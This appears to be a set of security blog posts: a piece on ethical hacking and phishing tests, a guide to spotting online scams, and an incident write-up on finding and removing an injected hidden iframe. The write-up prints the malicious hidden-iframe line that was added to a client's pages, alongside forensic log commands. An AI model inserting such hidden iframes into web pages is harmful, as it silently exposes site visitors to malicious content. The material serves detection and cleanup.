Concerned About Network Security? Hire a Hacker

If you’re worried about your network security, then you may think the last thing you should do is to invite someone to hack your network. However, one of the types of cyber protection you may not know about involves hiring teams of so-called “ethical hackers” to discover your system’s vulnerabilities.

Beware of Cute Cats

What is it about cat pictures or videos people find so irresistible? The Wall Street Journal reported that an ethical hacking company called PhishMe, co-founded by Aaron Higbee, put together a phishing email that featured a picture of a Turkish Angora cat with a purple mohawk. The email promised that clicking a link would lead the user to more cat pictures. Instead, the link led the employee to a warning from the tech department.

PhishMe designed another fake phishing email designed to prey on employee competitiveness. He sent an email to employees that appeared to come from the company CEO. The email had an attachment that claimed to contain figures for potential bonuses for many company employees. PhishMe then sent a second email attempting to recall the first. Many employees clicked the attachment, which again sent them to a warning page.

Higbee says that cute cats are to employees like kryptonite is to Superman. Of the 3.8 million employees that PhishMe has worked with, 48 percent have clicked on the cute cat phishing email. PhishMe’s work reveals vulnerabilities to “social engineering,” which are attacks designed to capture sensitive information from employees.

Common Vulnerability Points for Networks

In addition to attacks that prey on human frailty, hackers can capitalize on a number of vulnerable network points, including:

  • Wi-Fi networks. When employees do work over wireless, they can expose the company to a hacker. A “man-in-the-middle” attack, for instance, can use a computer with two wireless cards near a Wi-Fi hotspot to lure employees into logging onto a fake network. One wireless card connects to a legitimate network while another generates a fake network. Employees log onto the company intranet through the fake network, giving their credentials to the hacker.

  • USB drives. Imagine an employee using a USB stick to take work from the office to his or her home. The employee’s personal computer downloads a virus, which then transmits itself to the USB drive. When the employee returns to work and inserts the USB drive into a corporate computer, the virus could penetrate the corporate network. The Stuxnet worm, which took down the network at an Iranian nuclear facility, was probably delivered by an operative using a USB drive.

  • Weak passwords. Many employees use obvious passwords like “123456,” “iloveyou,” “password” or their names. Sometimes, they write their passwords on sticky notes and stick them to their monitors or the undersides of their keyboards. Also, many employees use the same passwords for multiple accounts. For instance, if an employee gives away a company email password in a phishing email, and he or she uses that same password for online banking, the employee could face a serious problem.

  • Ethical Hacker Tactics

    Ethical hackers use multiple techniques to reveal network vulnerabilities. An ethical hacker may sit out in a company parking lot and attempt to launch a man-in-the-middle attack on the company’s wireless network. Also, some ethical hackers drop rigged thumb drives in company bathrooms, which employees often pick up and insert into their USB ports. Some ethical hackers go so far as to conduct in-person breaches. For example, a hacker may dress up like a package delivery person or a fire marshal to gain access to restricted company areas.

    Look for an ethical hacker who holds the Certified Ethical Hacker (CEH) credential. A CEH has training in subjects like virus creation, buffer overflows, social engineering, policy creation and intrusion detection. CEH students aren’t allowed into training centers without undergoing a thorough background check. After completing training, a CEH has to pass an examination to earn his or her final credential. CEH’s also sign legal agreements stating that they will not use their training for illegal or malicious purposes.

    If you’re concerned about data loss or network vulnerability, you can find an ethical hacker who can determine your network’s weak spots. These hackers do an important service for consumers, businesses, not-for-profits and government agencies.

How To Avoid Online Scams

In 2009, I wrote What Is Phishing And How To Avoid Online Scams. While the information in that article is still very valid and worth a read, I thought I should follow up with an updated guide on how to spot and avoid scams online.


Social Engineering And Phishing

Phishing is the act of fishing for sensitive information from a target. This is usually done by baiting the hook with either something very tempting or a sense of urgent attention needed to something they value. Social Engineering is the art of getting someone to do what you want using only creative manipulation. Phishing is more closely associated with fraud and illegal activities. Social Engineering can be used in Phishing and hacking, but is also useful in many legal and morally neutral situations.

Examples of phishing largely include those fake bank and PayPal emails everyone eventually gets. Usually, the email will report that they are upgrading security or that your account is frozen (or in danger of being frozen). The quality of the email lends to how believable it is and can vary widely, but the goal is always the same. The sender wants you to feel the urgency to log into your account to prevent a threatened interruption in your access to your money. Similarly, you may have seen emails, seemingly from Facebook, telling you that you need to log in to keep your account open or for some other immediate reason. Don’t narrow your suspicion to just these examples, though. This type of bait email can apply to anything from your banking site to your Amazon wish list. Phishing isn’t just for a username and password, either. The rule of thumb is that any piece of information (or pieces in combination) that should be considered sensitive should be guarded carefully and you should think twice before giving anyone this information.

Social Engineering is a little broader in concept, but is just as important to be aware of. In fact, it may be more important to think about because your web browser can’t warn you about something suspicious when someone calls you on the phone and has a trick up their sleeve. Social Engineering relies heavily on perception and the target’s openness to trust that perception. For example, if a scammer calls you, sounding very professional and polite, and wants to confirm account information for your PayPal account, they are creating the perception that they are already in posission of your sensitive information and that you shouldn’t worry about giving them any of it.

Luring you in with something tempting is another trick people use all the time, and it’s one I fell for once, as careful as I usually am. It may be something as simple as information about who’s viewing your Facebook profile or it could be something as tempting as a free iPad. Either way, these scams attempt to trick you into giving your account credentials, signing up for a spammy Facebook group, or emailing a link to all your friends or worse. In my case it was worse, but I’ll share that below.

How To Spot A Scam

The sad fact is that nobody can truly spot every scam. Sadder still, is that most people don’t even think about it and could easily spot scams if they did. For scams we can’t spot, there are some rules to live by below, but for those we can spot, there’s some easy things to look for.

The number one thing I always ask myself is “Did I expect this email/message/phone call?” If receive any form of communication, that I didn’t expect, claiming to be from my bank or anywhere that might need sensitive information confirmed in order to discuss my account, I become immediately suspicious. About 95% of the time, I’m right and it’s a phishing attempt or a scam of some kind.

Who was the email sent to and who was it from? An alarming number of people don’t pay any attention to this, assuming that the email designed to look like it came from Bank of Arizona actually did. Sometimes, you can see the suspicious email easily and other times you may need to “View All Headers” in your email program to see the details. In GMail, you simply hold your mouse over your name or the sender’s name. When you can’t see who the email is to or from, it’s best to defer to the Rules to Live By below. This applies to phone calls as well. If my cell phone rings and I don’t recognize the number, it goes to voicemail. Any reputable company or person worth calling back will leave a message. No message = no call back from me.

With any unexpected contact, ask yourself what the end goal is. Usually, you can elevate your suspicion depending on the apparent goal of the communication. For example, if asked to log in somewhere or to reply with your phone number, name, address, and birth date, you should be pretty suspicious. On the other hand, if an email just says “Welcome to Bank of Arizona” and doesn’t prompt you for any action at all, it’d probably pretty safe.

Even If It Doesn’t Look Or Walk Like A Duck

Sometimes, we just assume that scams are obvious when we’ve fallen for them because our Facerbook accounts get hacked or our bank accounts get drained. Unfortunately, not all scams look like scams, even after you’ve fallen for them. My wife and I came upon a couple great reminders of this while searching for a new place to live recently.

While looking on Craigslist for a house to rent, Michelle found a house that was listed for about half the monthly rent she’d expect. Curious, she searched for the address on Google and found it listed by a realty company in several places with a more realistic rent requirement. The realtor confirmed that the Craigslist ad was not posted by them. The most likely scenario is that someone responds to the ad, eventually paying deposits and first month’s rent only to find that the key doesn’t work in the lock.

Later, Michelle found another home listed for a too-good-to-be-true price and emailed to inquire about the exact location and how we could drop by for a walk-through. The response she received indicated that the owner was worried about dealing with strangers on Craigslist and could only arrange a walk-through and give out the exact address after a potential renter got a credit check at a site that the email linked to. Although the credit check site is legit, the scam is that there’s no home to rent. If we get the credit check, the person who listed the ad gets a referral commission and would probably then email and say that the house had been rented or some other excuse. This type of scam happens all the time with domain sales… “I want to buy your domain name, but I need to you get it appraised at this site first.” I recognized it right away, having seen it when selling domains, but I imagine a lot of people fell for it and still don’t know they were scammed.

Rules To Live By

I’ve been online since Yahoo was just a couple hundred links organized by a couple guys in a dorm room, and in my time online, I’ve developed some rules that I live by to help keep me out of trouble. While these rules help me avoid phishing scams, they have also helped in keeping viruses away from my computer and I think they’re just good rules to live by, if just a little paranoid.

1. If I don’t expect it, I don’t trust it. I touched on this above, but I think it’s the number one defense I live by, so I’ll mention it again. If you get an email from someone and it has a file in it, call them and ask. If really is the “funniest think [they’ve] ever seen”, they’ll get to enjoy your laughter over the phone. If it’s an email from your bank, PayPal, Facebook, Ebay, etc. just go to a browser and manually type in the URL or use your existing bookmark. This way, you’re sure you’re on the real site and if it really is important, you’ll probably have a notification in your account, too. It’s when you just blindly trust everything that comes your way that you open yourself up to scams.

2. Look at the URL. Most of the phishing emails I see would have you click on a link to log in somewhere. While I don’t think you should ever click on an email link to log in to an account, some links are just way easier to click. For these, don’t just look at what’s on the surface. Mouse over the link and see what the real URL is. Watch out for domains like or As clever as these face domains are, they’re easy enough to spot if you take a second to look.

3. Use the tools available to you. Use anti-virus software and malware detection. You wouldn’t leave your car unlocked with your wallet in it, would you? You shouldn’t leave your computer wide open to this stuff. There’s even free anti-virus software out there and most modern browsers will warn you if you try to visit a site that they deem suspicious. Listen to your browser and your instincts.

4. If it looks too good to be true… You know the saying. “If it looks too good to be true, it probably is.” To be fair, the occasional internet goodies are out there. I have gotten free iPods and PlayStations before, but most of the time, those things are scams. Don’t be so greedy that you dive in head first without looking. Weigh what you have to do and information you have to give against the prize. Aside from contests, nothing is truly free. If the promise is for an iPad with no signing up friends, no purchase and no random drawings, it’s probably a scam.

Damage Control

You are not perfect. Chances are that one day, you’ll slip and give someone what they’re phishing for. I did. I feel a little dumb even admitting it, but I once gave out my debit card pin online in response to an email that I’d won an XBox and just had to cover the shipping myself. I have my rules, I can usually see scams, and I think I’m pretty smart. Still, I got suckered in, thinking I’d won and getting excited at the idea of a free game system. As bad as that is, it could have been worse. I could have just prayed nothing would happen, hoping to avoid having to cancel a card or I could have been too embarrassed to call my bank. Instead, as embarrassed as I was, I called my bank only minutes after sending the email and admitted that I’d been suckered and needed to cancel the card. I felt really dumb, but more importantly, I felt relieved that I had reversed the problem quickly by canceling my card.

If you get scammed, don’t let your pride get in the way of the damage control.

Help Others

The internet is a giant community. When you see scams, report them. I always forward phishing emails to the real companies the email is disguised as. They have incredible incentive to go after the scammers and usually do. Don’t stop there, either. Most of you have a lot of friends online. Let them know about any phishing scams going around. I’d rather a friend be quietly aware of scams than hear that they fell for one I could have warned about.

On that note, use the comment form below to tell us about scams you’ve come across or any tips you have for staying safe online. And don’t forget to “Share” and “Like” this article on Facebook.

Tracking And Stopping Web Site IFRAME Code Injection

Yesterday, I wrote about getting paid to hack. Part of what I talked about was computer forensics. Earlier in the day, I was presented with an opportunity to practice my own IT security skills. Below, I’ll explain what happened to my client, how an employee of mine and I found the source of the problem and what we did to fix it.

Log file

Discovering a problem
A client called, complaining that the content management system we built for them was not working properly, so one of the developers took a look at the code and immediately alerted me to a problem. When he looked at the code, he discovered two extra lines at the end. The lines were similar to the following and existed at the bottom of every index.php file in the site:

<iframe src=”http: //lotmachinesguide .cn/ in.cgi?income56″ width=1 height=1 style=”visibility: hidden”></iframe>

My first thought was that someone hacked in and changed the files. What about the rest of the server? This is where you get that sick feeling in your stomach and hope it’s not as bad as it could be. I emailed my wife and told her I’d be unavailable via phone/email/etc. for the next few hours.

Finding the cause
Tracking down the source of a hack or code injection like this can often be tricky. How tricky it is depends on your individual skill set, past experiences, and the complexity of the problem, itself. This one turned out to be easy, partially because I’ve done this before and know many of the places to look, but mostly because it wasn’t really a hack. Not locally, anyway. One of my developers and I sat down in my office and I started looking at the hacked files. Using the following command (from the client’s web root), I displayed a list of all files that were modified that day:

ls -laR |grep "Apr 24"

What it returned was a list of the index files I was already aware of. Good. I then ran the same command on other sites to be sure this was isolated and it was. Next, I checked “last” to see who’s been logging into my server:

last |grep [client username redacted] |grep Apr

Last shows all the recent logins from SSH, FTP, etc. Immediately, I noted a large number of FTP connections for the client site I was investigating, which looked suspicious. I headed to my FTP log files and grepped my “secure” log files for “Incorrect”:

grep Incorrect /var/log/secure*

Your system may use something other than “Incorrect” to indicate a bad login and your “secure” log file location may vary. This grep showed only a few bad attempts, which is fairly normal and not what I expected to see if the account had been brute-forced. I moved on to the FTP log file to see what transfers were made. You’ll need to find your own FTP log location if you don’t know where it is already.

grep "Apr 24" xferlog*

I did this mostly to confirm that I was on the right track, but it uncovered even more oddness. Here’s a bit of what I saw:

Fri Apr 24 11:17:32 2009 0 [ip redacted] 4289 /var/www/vhosts/[domain redacted]/httpdocs/index.php a _ o r [username redacted] ftp 0 * c
Fri Apr 24 11:17:38 2009 2 [ip redacted] 4402 /var/www/vhosts/[domain redacted]/httpdocs/index.php a _ i r [username redacted] ftp 0 * c
Fri Apr 24 11:17:51 2009 0 [ip redacted] 2836 /var/www/vhosts/[domain redacted]/httpdocs/admin/index.php a _ o r [username redacted] ftp 0 * c
Fri Apr 24 11:17:56 2009 0 [ip redacted] 2949 /var/www/vhosts/[domain redacted]/httpdocs/admin/index.php a _ i r [username redacted] ftp 0 * c

For each index file that had the iframe HTML added to the end, there was a download and then an upload five or six seconds later. The speed indicated that it was a script and the fact that it was all done via FTP indicated that if there was a compromised computer somewhere, it was remote and my server was safe.

Cleaning it all up
In this case, cleanup was easy. First, I backed up all the log files for further review just in case I need them. Then I changed the client’s FTP password. Finally, I pulled the latest (clean) versions of the affected index.php files from our subversion repository and uploaded them back to the site.

Preventing future occurrences
I wanted to find out exactly how someone who should clearly not have the client’s FTP credentials wound up with them. My theory was that the client’s computer had been compromised. I headed to and used their handy IP whois tool to see who the one prominent IP address from the log files belonged to. It turned out to be a COX IP registered to Atlanta, GA. We called the client and asked them if they had anyone there. They did not. The FTP logs also showed uploads, recently, of files documents that related to the client and looked to be legitimate, so we asked who uploaded them and conferenced him in. A couple questions quickly revealed that not only was the IP their local office computers, but the computers there had been “acting funny, randomly rebooting, etc.” for the last day or so. We sent their computer guy out to take care of the problem, which turned out to be a trojan.

First of all, this was a very easy problem to diagnose and fix. I’ve been on the bad end of some serious hacks and this was by no means a bad one. For the client, however, the day proved much more frustrating. The expense incurred from having the IT guy come out and the thought that it could have been much worse (like their site replaced with something untoward), should be a lesson to be very careful about what you download, what you click, and the sites you visit. The best policy is to only open or run things from sites and people you trust, and even then, use caution.